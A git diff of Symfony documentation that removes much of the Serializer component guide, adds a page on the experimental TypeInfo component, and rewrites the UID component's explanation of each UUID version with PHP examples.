-The ``encode()`` method, like other encoder, uses ``context`` to set
-configuration options for the YamlEncoder an associative array::
-
-    $yamlEncoder->encode($array, 'yaml', $context);
-
-These are the options available:
-
-=============== ========================================================  ==========================
-Option          Description                                               Default
-=============== ========================================================  ==========================
-``yaml_inline`` The level where you switch to inline YAML                 ``0``
-``yaml_indent`` The level of indentation (used internally)                ``0``
-``yaml_flags``  A bit field of ``Yaml::DUMP_*`` / ``PARSE_*`` constants   ``0``
-                to customize the encoding / decoding YAML string
-=============== ========================================================  ==========================
-
-.. _component-serializer-context-builders:
-
-Context Builders
-----------------
-
-Instead of passing plain PHP arrays to the :ref:`serialization context <serializer_serializer-context>`,
-you can use "context builders" to define the context using a fluent interface::
-
-    use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
-    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
-
-    $initialContext = [
-        'custom_key' => 'custom_value',
-    ];
-
-    $contextBuilder = (new ObjectNormalizerContextBuilder())
-        ->withContext($initialContext)
-        ->withGroups(['group1', 'group2']);
-
-    $contextBuilder = (new CsvEncoderContextBuilder())
-        ->withContext($contextBuilder)
-        ->withDelimiter(';');
-
-    $serializer->serialize($something, 'csv', $contextBuilder->toArray());
-
-.. note::
-
-    The Serializer component provides a context builder
-    for each :ref:`normalizer <component-serializer-normalizers>`
-    and :ref:`encoder <component-serializer-encoders>`.
-
-    You can also :doc:`create custom context builders </serializer/custom_context_builders>`
-    to deal with your context values.
-
-Skipping ``null`` Values
-------------------------
-
-By default, the Serializer will preserve properties containing a ``null`` value.
-You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NULL_VALUES`` context option
-to ``true``::
-
-    $dummy = new class {
-        public ?string $foo = null;
-        public string $bar = 'notNull';
-    };
-
-    $normalizer = new ObjectNormalizer();
-    $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]);
-    // ['bar' => 'notNull']
-
-Require all Properties
-----------------------
-
-By default, the Serializer will add ``null`` to nullable properties when the parameters for those are not provided.
-You can change this behavior by setting the ``AbstractNormalizer::REQUIRE_ALL_PROPERTIES`` context option
-to ``true``::
-
-    class Dummy
-    {
-        public function __construct(
-            public string $foo,
-            public ?string $bar,
-        ) {
-        }
-    }
-
-    $data = ['foo' => 'notNull'];
-
-    $normalizer = new ObjectNormalizer();
-    $result = $normalizer->denormalize($data, Dummy::class, 'json', [AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true]);
-    // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
-
-Skipping Uninitialized Properties
----------------------------------
-
-In PHP, typed properties have an ``uninitialized`` state which is different
-from the default ``null`` of untyped properties. When you try to access a typed
-property before giving it an explicit value, you get an error.
-
-To avoid the Serializer throwing an error when serializing or normalizing an
-object with uninitialized properties, by default the object normalizer catches
-these errors and ignores such properties.
-
-You can disable this behavior by setting the ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES``
-context option to ``false``::
-
-    class Dummy {
-        public string $foo = 'initialized';
-        public string $bar; // uninitialized
-    }
-
-    $normalizer = new ObjectNormalizer();
-    $result = $normalizer->normalize(new Dummy(), 'json', [AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES => false]);
-    // throws Symfony\Component\PropertyAccess\Exception\UninitializedPropertyException as normalizer cannot read uninitialized properties
-
-.. note::
-
-    Calling ``PropertyNormalizer::normalize`` or ``GetSetMethodNormalizer::normalize``
-    with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option set
-    to ``false`` will throw an ``\Error`` instance if the given object has uninitialized
-    properties as the normalizer cannot read them (directly or via getter/isser methods).
-
-.. _component-serializer-handling-circular-references:
-
-Collecting Type Errors While Denormalizing
-------------------------------------------
-
-When denormalizing a payload to an object with typed properties, you'll get an
-exception if the payload contains properties that don't have the same type as
-the object.
-
-In those situations, use the ``COLLECT_DENORMALIZATION_ERRORS`` option to
-collect all exceptions at once, and to get the object partially denormalized::
-
-    try {
-        $dto = $serializer->deserialize($request->getContent(), MyDto::class, 'json', [
-            DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true,
-        ]);
-    } catch (PartialDenormalizationException $e) {
-        $violations = new ConstraintViolationList();
-        /** @var NotNormalizableValueException $exception */
-        foreach ($e->getErrors() as $exception) {
-            $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
-            $parameters = [];
-            if ($exception->canUseMessageForUser()) {
-                $parameters['hint'] = $exception->getMessage();
-            }
-            $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
-        }
-
-        return $this->json($violations, 400);
-    }
-
-Handling Circular References
-----------------------------
-
-Circular references are common when dealing with entity relations::
-
-    class Organization
-    {
-        private string $name;
-        private array $members;
-
-        public function setName($name): void
-        {
-            $this->name = $name;
-        }
-
-        public function getName(): string
-        {
-            return $this->name;
-        }
-
-        public function setMembers(array $members): void
-        {
-            $this->members = $members;
-        }
-
-        public function getMembers(): array
-        {
-            return $this->members;
-        }
-    }
-
-    class Member
-    {
-        private string $name;
-        private Organization $organization;
-
-        public function setName(string $name): void
-        {
-            $this->name = $name;
-        }
-
-        public function getName(): string
-        {
-            return $this->name;
-        }
-
-        public function setOrganization(Organization $organization): void
-        {
-            $this->organization = $organization;
-        }
-
-        public function getOrganization(): Organization
-        {
-            return $this->organization;
-        }
-    }
-
-To avoid infinite loops, :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
-or :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
-throw a :class:`Symfony\\Component\\Serializer\\Exception\\CircularReferenceException`
-when such a case is encountered::
-
-    $member = new Member();
-    $member->setName('Kévin');
-
-    $organization = new Organization();
-    $organization->setName('Les-Tilleuls.coop');
-    $organization->setMembers([$member]);
-
-    $member->setOrganization($organization);
-
-    echo $serializer->serialize($organization, 'json'); // Throws a CircularReferenceException
-
-The key ``circular_reference_limit`` in the default context sets the number of
-times it will serialize the same object before considering it a circular
-reference. The default value is ``1``.
-
-Instead of throwing an exception, circular references can also be handled
-by custom callables. This is especially useful when serializing entities
-having unique identifiers::
-
-    $encoder = new JsonEncoder();
-    $defaultContext = [
-        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, string $format, array $context): string {
-            return $object->getName();
-        },
-    ];
-    $normalizer = new ObjectNormalizer(null, null, null, null, null, null, $defaultContext);
-
-    $serializer = new Serializer([$normalizer], [$encoder]);
-    var_dump($serializer->serialize($org, 'json'));
-    // {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]}
-
-.. _serializer_handling-serialization-depth:
-
-Handling Serialization Depth
-----------------------------
-
-The Serializer component is able to detect and limit the serialization depth.
-It is especially useful when serializing large trees. Assume the following data
-structure::
-
-    namespace Acme;
-
-    class MyObj
-    {
-        public string $foo;
-
-        /**
-         * @var self
-         */
-        public MyObj $child;
-    }
-
-    $level1 = new MyObj();
-    $level1->foo = 'level1';
-
-    $level2 = new MyObj();
-    $level2->foo = 'level2';
-    $level1->child = $level2;
-
-    $level3 = new MyObj();
-    $level3->foo = 'level3';
-    $level2->child = $level3;
-
-The serializer can be configured to set a maximum depth for a given property.
-Here, we set it to 2 for the ``$child`` property:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace Acme;
-
-        use Symfony\Component\Serializer\Annotation\MaxDepth;
-
-        class MyObj
-        {
-            #[MaxDepth(2)]
-            public MyObj $child;
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        Acme\MyObj:
-            attributes:
-                child:
-                    max_depth: 2
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="Acme\MyObj">
-                <attribute name="child" max-depth="2"/>
-            </class>
-        </serializer>
-
-The metadata loader corresponding to the chosen format must be configured in
-order to use this feature. It is done automatically when using the Serializer component
-in a Symfony application. When using the standalone component, refer to
-:ref:`the groups documentation <component-serializer-attributes-groups>` to
-learn how to do that.
-
-The check is only done if the ``AbstractObjectNormalizer::ENABLE_MAX_DEPTH`` key of the serializer context
-is set to ``true``. In the following example, the third level is not serialized
-because it is deeper than the configured maximum depth of 2::
-
-    $result = $serializer->normalize($level1, null, [AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true]);
-    /*
-    $result = [
-        'foo' => 'level1',
-        'child' => [
-            'foo' => 'level2',
-            'child' => [
-                'child' => null,
-            ],
-        ],
-    ];
-    */
-
-Instead of throwing an exception, a custom callable can be executed when the
-maximum depth is reached. This is especially useful when serializing entities
-having unique identifiers::
-
-    use Symfony\Component\Serializer\Annotation\MaxDepth;
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
-    use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class Foo
-    {
-        public int $id;
-
-        #[MaxDepth(1)]
-        public MyObj $child;
-    }
-
-    $level1 = new Foo();
-    $level1->id = 1;
-
-    $level2 = new Foo();
-    $level2->id = 2;
-    $level1->child = $level2;
-
-    $level3 = new Foo();
-    $level3->id = 3;
-    $level2->child = $level3;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-    // all callback parameters are optional (you can omit the ones you don't use)
-    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, string $format = null, array $context = []): string {
-        return '/foos/'.$innerObject->id;
-    };
-
-    $defaultContext = [
-        AbstractObjectNormalizer::MAX_DEPTH_HANDLER => $maxDepthHandler,
-    ];
-    $normalizer = new ObjectNormalizer($classMetadataFactory, null, null, null, null, null, $defaultContext);
-
-    $serializer = new Serializer([$normalizer]);
-
-    $result = $serializer->normalize($level1, null, [AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true]);
-    /*
-    $result = [
-        'id' => 1,
-        'child' => [
-            'id' => 2,
-            'child' => '/foos/3',
-        ],
-    ];
-    */
-
-Handling Arrays
----------------
-
-The Serializer component is capable of handling arrays of objects as well.
-Serializing arrays works just like serializing a single object::
-
-    use Acme\Person;
-
-    $person1 = new Person();
-    $person1->setName('foo');
-    $person1->setAge(99);
-    $person1->setSportsman(false);
-
-    $person2 = new Person();
-    $person2->setName('bar');
-    $person2->setAge(33);
-    $person2->setSportsman(true);
-
-    $persons = [$person1, $person2];
-    $data = $serializer->serialize($persons, 'json');
-
-    // $data contains [{"name":"foo","age":99,"sportsman":false},{"name":"bar","age":33,"sportsman":true}]
-
-If you want to deserialize such a structure, you need to add the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
-to the set of normalizers. By appending ``[]`` to the type parameter of the
-:method:`Symfony\\Component\\Serializer\\Serializer::deserialize` method,
-you indicate that you're expecting an array instead of a single object::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\ArrayDenormalizer;
-    use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $serializer = new Serializer(
-        [new GetSetMethodNormalizer(), new ArrayDenormalizer()],
-        [new JsonEncoder()]
-    );
-
-    $data = ...; // The serialized data from the previous example
-    $persons = $serializer->deserialize($data, 'Acme\Person[]', 'json');
-
-Handling Constructor Arguments
-------------------------------
-
-If the class constructor defines arguments, as usually happens with
-`Value Objects`_, the serializer won't be able to create the object if some
-arguments are missing. In those cases, use the ``default_constructor_arguments``
-context option::
-
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class MyObj
-    {
-        public function __construct(
-            private string $foo,
-            private string $bar,
-        ) {
-        }
-    }
-
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->denormalize(
-        ['foo' => 'Hello'],
-        'MyObj',
-        null,
-        [AbstractNormalizer::DEFAULT_CONSTRUCTOR_ARGUMENTS => [
-            'MyObj' => ['foo' => '', 'bar' => ''],
-        ]]
-    );
-    // $data = new MyObj('Hello', '');
-
-Recursive Denormalization and Type Safety
------------------------------------------
-
-The Serializer component can use the :doc:`PropertyInfo Component </components/property_info>` to denormalize
-complex types (objects). The type of the class' property will be guessed using the provided
-extractor and used to recursively denormalize the inner data.
-
-When using this component in a Symfony application, all normalizers are automatically configured to use the registered extractors.
-When using the component standalone, an implementation of :class:`Symfony\\Component\\PropertyInfo\\PropertyTypeExtractorInterface`,
-(usually an instance of :class:`Symfony\\Component\\PropertyInfo\\PropertyInfoExtractor`) must be passed as the 4th
-parameter of the ``ObjectNormalizer``::
-
-    namespace Acme;
-
-    use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class ObjectOuter
-    {
-        private ObjectInner $inner;
-        private \DateTimeInterface $date;
-
-        public function getInner(): ObjectInner
-        {
-            return $this->inner;
-        }
-
-        public function setInner(ObjectInner $inner): void
-        {
-            $this->inner = $inner;
-        }
-
-        public function getDate(): \DateTimeInterface
-        {
-            return $this->date;
-        }
-
-        public function setDate(\DateTimeInterface $date): void
-        {
-            $this->date = $date;
-        }
-    }
-
-    class ObjectInner
-    {
-        public string $foo;
-        public string $bar;
-    }
-
-    $normalizer = new ObjectNormalizer(null, null, null, new ReflectionExtractor());
-    $serializer = new Serializer([new DateTimeNormalizer(), $normalizer]);
-
-    $obj = $serializer->denormalize(
-        ['inner' => ['foo' => 'foo', 'bar' => 'bar'], 'date' => '1988/01/21'],
-        'Acme\ObjectOuter'
-    );
-
-    dump($obj->getInner()->foo); // 'foo'
-    dump($obj->getInner()->bar); // 'bar'
-    dump($obj->getDate()->format('Y-m-d')); // '1988-01-21'
-
-When a ``PropertyTypeExtractor`` is available, the normalizer will also check that the data to denormalize
-matches the type of the property (even for primitive types). For instance, if a ``string`` is provided, but
-the type of the property is ``int``, an :class:`Symfony\\Component\\Serializer\\Exception\\UnexpectedValueException`
-will be thrown. The type enforcement of the properties can be disabled by setting
-the serializer context option ``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT``
-to ``true``.
-
-.. _serializer_interfaces-and-abstract-classes:
-
-Serializing Interfaces and Abstract Classes
--------------------------------------------
-
-When dealing with objects that are fairly similar or share properties, you may
-use interfaces or abstract classes. The Serializer component allows you to
-serialize and deserialize these objects using a *"discriminator class mapping"*.
-
-The discriminator is the field (in the serialized string) used to differentiate
-between the possible objects. In practice, when using the Serializer component,
-pass a :class:`Symfony\\Component\\Serializer\\Mapping\\ClassDiscriminatorResolverInterface`
-implementation to the :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`.
-
-The Serializer component provides an implementation of ``ClassDiscriminatorResolverInterface``
-called :class:`Symfony\\Component\\Serializer\\Mapping\\ClassDiscriminatorFromClassMetadata`
-which uses the class metadata factory and a mapping configuration to serialize
-and deserialize objects of the correct class.
-
-When using this component inside a Symfony application and the class metadata factory is enabled
-as explained in the :ref:`Attributes Groups section <component-serializer-attributes-groups>`,
-this is already set up and you only need to provide the configuration. Otherwise::
-
-    // ...
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Mapping\ClassDiscriminatorFromClassMetadata;
-    use Symfony\Component\Serializer\Mapping\ClassDiscriminatorMapping;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-    $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory);
-
-    $serializer = new Serializer(
-        [new ObjectNormalizer($classMetadataFactory, null, null, null, $discriminator)],
-        ['json' => new JsonEncoder()]
-    );
-
-Now configure your discriminator class mapping. Consider an application that
-defines an abstract ``CodeRepository`` class extended by ``GitHubCodeRepository``
-and ``BitBucketCodeRepository`` classes:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace App;
-
-        use App\BitBucketCodeRepository;
-        use App\GitHubCodeRepository;
-        use Symfony\Component\Serializer\Annotation\DiscriminatorMap;
-
-        #[DiscriminatorMap(typeProperty: 'type', mapping: [
-            'github' => GitHubCodeRepository::class,
-            'bitbucket' => BitBucketCodeRepository::class,
-        ])]
-        abstract class CodeRepository
-        {
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        App\CodeRepository:
-            discriminator_map:
-                type_property: type
-                mapping:
-                    github: 'App\GitHubCodeRepository'
-                    bitbucket: 'App\BitBucketCodeRepository'
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\CodeRepository">
-                <discriminator-map type-property="type">
-                    <mapping type="github" class="App\GitHubCodeRepository"/>
-                    <mapping type="bitbucket" class="App\BitBucketCodeRepository"/>
-                </discriminator-map>
-            </class>
-        </serializer>
-
-.. note::
-
-    The values of the ``mapping`` array option must be strings.
-    Otherwise, they will be cast into strings automatically.
-
-Once configured, the serializer uses the mapping to pick the correct class::
-
-    $serialized = $serializer->serialize(new GitHubCodeRepository(), 'json');
-    // {"type": "github"}
-
-    $repository = $serializer->deserialize($serialized, CodeRepository::class, 'json');
-    // instanceof GitHubCodeRepository
-
-Learn more
-----------
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    /serializer
-
-.. seealso::
-
-    Normalizers for the Symfony Serializer Component supporting popular web API formats
-    (JSON-LD, GraphQL, OpenAPI, HAL, JSON:API) are available as part of the `API Platform`_ project.
-
-.. seealso::
-
-    A popular alternative to the Symfony Serializer component is the third-party
-    library, `JMS serializer`_ (versions before ``v1.12.0`` were released under
-    the Apache license, so incompatible with GPLv2 projects).
-
-.. _`PSR-1 standard`: https://www.php-fig.org/psr/psr-1/
-.. _`JMS serializer`: https://github.com/schmittjoh/serializer
-.. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8
-.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
-.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
-.. _JSON: https://www.json.org/json-en.html
-.. _XML: https://www.w3.org/XML/
-.. _YAML: https://yaml.org/
-.. _CSV: https://tools.ietf.org/html/rfc4180
-.. _`RFC 7807`: https://tools.ietf.org/html/rfc7807
-.. _`UTF-8 BOM`: https://en.wikipedia.org/wiki/Byte_order_mark
-.. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
-.. _`API Platform`: https://api-platform.com
-.. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
-.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
-.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
-.. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
-.. _seld/jsonlint: https://github.com/Seldaek/jsonlint
-.. _$flags: https://www.php.net/manual/en/json.constants.php
diff --git a/components/type_info.rst b/components/type_info.rst
new file mode 100644
index 00000000000..2fd64b9bc5d
--- /dev/null
+++ b/components/type_info.rst
@@ -0,0 +1,86 @@
+The TypeInfo Component
+======================
+
+The TypeInfo component extracts type information from PHP elements like properties,
+arguments and return types.
+
+This component provides:
+
+* A powerful ``Type`` definition that can handle unions, intersections, and generics
+  (and can be extended to support more types in the future);
+* A way to get types from PHP elements such as properties, method arguments,
+  return types, and raw strings.
+
+.. warning::
+
+    This component is :doc:`experimental </contributing/code/experimental>` and
+    could be changed at any time without prior notice.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/type-info
+
+.. include:: /components/require_autoload.rst.inc
+
+Usage
+-----
+
+This component gives you a :class:`Symfony\\Component\\TypeInfo\\Type` object that
+represents the PHP type of anything you built or asked to resolve.
+
+There are two ways to use this component. First one is to create a type manually thanks
+to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
+
+    use Symfony\Component\TypeInfo\Type;
+
+    Type::int();
+    Type::nullable(Type::string());
+    Type::generic(Type::object(Collection::class), Type::int());
+    Type::list(Type::bool());
+    Type::intersection(Type::object(\Stringable::class), Type::object(\Iterator::class));
+
+    // Many others are available and can be
+    // found in Symfony\Component\TypeInfo\TypeFactoryTrait
+
+The second way of using the component is to use ``TypeInfo`` to resolve a type
+based on reflection or a simple string::
+
+    use Symfony\Component\TypeInfo\Type;
+    use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
+
+    // Instantiate a new resolver
+    $typeResolver = TypeResolver::create();
+
+    // Then resolve types for any subject
+    $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns an "int" Type instance
+    $typeResolver->resolve('bool'); // returns a "bool" Type instance
+
+    // Types can be instantiated thanks to static factories
+    $type = Type::list(Type::nullable(Type::bool()));
+
+    // Type instances have several helper methods
+
+    // returns the main type (e.g. in this example it returns an "array" Type instance);
+    // for nullable types (e.g. string|null) it returns the non-null type (e.g. string)
+    // and for compound types (e.g. int|string) it throws an exception because both types
+    // can be considered the main one, so there's no way to pick one
+    $baseType = $type->getBaseType();
+
+    // for collections, it returns the type of the item used as the key;
+    // in this example, the collection is a list, so it returns an "int" Type instance
+    $keyType = $type->getCollectionKeyType();
+
+    // you can chain the utility methods (e.g. to introspect the values of the collection)
+    // the following code will return true
+    $isValueNullable = $type->getCollectionValueType()->isNullable();
+
+Each of these calls will return you a ``Type`` instance that corresponds to the
+static method used. You can also resolve types from a string (as shown in the
+``bool`` parameter of the previous example)
+
+.. note::
+
+    To support raw string resolving, you need to install ``phpstan/phpdoc-parser`` package.
diff --git a/components/uid.rst b/components/uid.rst
index 112f0f29a06..5077fb4f1c8 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -27,47 +27,119 @@ Generating UUIDs
 ~~~~~~~~~~~~~~~~
 
 Use the named constructors of the ``Uuid`` class or any of the specific classes
-to create each type of UUID::
+to create each type of UUID:
+
+**UUID v1** (time-based)
+
+Generates the UUID using a timestamp and the MAC address of your device
+(`read UUIDv1 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-1>`__).
+Both are obtained automatically, so you don't have to pass any constructor argument::
+
+    use Symfony\Component\Uid\Uuid;
+
+    // $uuid is an instance of Symfony\Component\Uid\UuidV1
+    $uuid = Uuid::v1();
+
+.. tip::
+
+    It's recommended to use UUIDv7 instead of UUIDv1 because it provides
+    better entropy.
+
+**UUID v2** (DCE security)
+
+Similar to UUIDv1 but with a very high likelihood of ID collision
+(`read UUIDv2 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-2>`__).
+It's part of the authentication mechanism of DCE (Distributed Computing Environment)
+and the UUID includes the POSIX UIDs (user/group ID) of the user who generated it.
+This UUID variant is **not implemented** by the Uid component.
+
+**UUID v3** (name-based, MD5)
+
+Generates UUIDs from names that belong, and are unique within, some given namespace
+(`read UUIDv3 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-3>`__).
+This variant is useful to generate deterministic UUIDs from arbitrary strings.
+It works by populating the UUID contents with the``md5`` hash of concatenating
+the namespace and the name::
 
     use Symfony\Component\Uid\Uuid;
 
-    // UUID type 1 generates the UUID using the MAC address of your device and a timestamp.
-    // Both are obtained automatically, so you don't have to pass any constructor argument.
-    $uuid = Uuid::v1(); // $uuid is an instance of Symfony\Component\Uid\UuidV1
-
-    // UUID type 4 generates a random UUID, so you don't have to pass any constructor argument.
-    $uuid = Uuid::v4(); // $uuid is an instance of Symfony\Component\Uid\UuidV4
-
-    // UUID type 3 and 5 generate a UUID hashing the given namespace and name. Type 3 uses
-    // MD5 hashes and Type 5 uses SHA-1. The namespace is another UUID (e.g. a Type 4 UUID)
-    // and the name is an arbitrary string (e.g. a product name; if it's unique).
-    $namespace = Uuid::v4();
-    $name = $product->getUniqueName();
-
-    $uuid = Uuid::v3($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV3
-    $uuid = Uuid::v5($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV5
-
-    // the namespaces defined by RFC 4122 (see https://tools.ietf.org/html/rfc4122#appendix-C)
-    // are available as PHP constants and as string values
-    $uuid = Uuid::v3(Uuid::NAMESPACE_DNS, $name);  // same as: Uuid::v3('dns', $name);
-    $uuid = Uuid::v3(Uuid::NAMESPACE_URL, $name);  // same as: Uuid::v3('url', $name);
-    $uuid = Uuid::v3(Uuid::NAMESPACE_OID, $name);  // same as: Uuid::v3('oid', $name);
-    $uuid = Uuid::v3(Uuid::NAMESPACE_X500, $name); // same as: Uuid::v3('x500', $name);
-
-    // UUID type 6 is not yet part of the UUID standard. It's lexicographically sortable
-    // (like ULIDs) and contains a 60-bit timestamp and 63 extra unique bits.
-    // It's defined in https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#name-uuid-version-6
-    $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
-
-    // UUID version 7 features a time-ordered value field derived from the well known
-    // Unix Epoch timestamp source: the number of seconds since midnight 1 Jan 1970 UTC, leap seconds excluded.
-    // As well as improved entropy characteristics over versions 1 or 6.
+    // you can use any of the predefined namespaces...
+    $namespace = Uuid::fromString(Uuid::NAMESPACE_OID);
+    // ...or use a random namespace:
+    // $namespace = Uuid::v4();
+
+    // $name can be any arbitrary string
+    // $uuid is an instance of Symfony\Component\Uid\UuidV3
+    $uuid = Uuid::v3($namespace, $name);
+
+These are the default namespaces defined by the standard:
+
+* ``Uuid::NAMESPACE_DNS`` if you are generating UUIDs for `DNS entries <https://en.wikipedia.org/wiki/Domain_Name_System>`__
+* ``Uuid::NAMESPACE_URL`` if you are generating UUIDs for `URLs <https://en.wikipedia.org/wiki/URL>`__
+* ``Uuid::NAMESPACE_OID`` if you are generating UUIDs for `OIDs (object identifiers) <https://en.wikipedia.org/wiki/Object_identifier>`__
+* ``Uuid::NAMESPACE_X500`` if you are generating UUIDs for `X500 DNs (distinguished names) <https://en.wikipedia.org/wiki/X.500>`__
+
+**UUID v4** (random)
+
+Generates a random UUID (`read UUIDv4 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-4>`__).
+Because of its randomness, it ensures uniqueness across distributed systems
+without the need for a central coordinating entity. It's privacy-friendly
+because it doesn't contain any information about where and when it was generated::
+
+    use Symfony\Component\Uid\Uuid;
+
+    // $uuid is an instance of Symfony\Component\Uid\UuidV4
+    $uuid = Uuid::v4();
+
+**UUID v5** (name-based, SHA-1)
+
+It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of
+``md5`` to hash the given namespace and name (`read UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__).
+This makes it more secure and less prone to hash collisions.
+
+.. _uid-uuid-v6:
+
+**UUID v6** (reordered time-based)
+
+It rearranges the time-based fields of the UUIDv1 to make it lexicographically
+sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing
+(`read UUIDv6 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-6>`__)::
+
+    use Symfony\Component\Uid\Uuid;
+
+    // $uuid is an instance of Symfony\Component\Uid\UuidV6
+    $uuid = Uuid::v6();
+
+.. tip::
+
+    It's recommended to use UUIDv7 instead of UUIDv6 because it provides
+    better entropy.
+
+.. _uid-uuid-v7:
+
+**UUID v7** (UNIX timestamp)
+
+Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp
+source (the number of milliseconds since midnight 1 Jan 1970 UTC, leap seconds excluded)
+(`read UUIDv7 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-7>`__).
+It's recommended to use this version over UUIDv1 and UUIDv6 because it provides
+better entropy (and a more strict chronological order of UUID generation)::
+
+    use Symfony\Component\Uid\Uuid;
+
+    // $uuid is an instance of Symfony\Component\Uid\UuidV7
     $uuid = Uuid::v7();
 
-    // UUID version 8 provides an RFC-compatible format for experimental or vendor-specific use cases.
-    // The only requirement is that the variant and version bits MUST be set as defined in Section 4:
-    // https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#variant_and_version_fields
-    // UUIDv8 uniqueness will be implementation-specific and SHOULD NOT be assumed.
+**UUID v8** (custom)
+
+Provides an RFC-compatible format for experimental or vendor-specific use cases
+(`read UUIDv8 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-8>`__).
+The only requirement is to set the variant and version bits of the UUID. The rest
+of the UUID value is specific to each implementation and no format should be assumed::
+
+    use Symfony\Component\Uid\Uuid;
+
+    // $uuid is an instance of Symfony\Component\Uid\UuidV8
     $uuid = Uuid::v8();
 
 If your UUID value is already generated in another format, use any of the
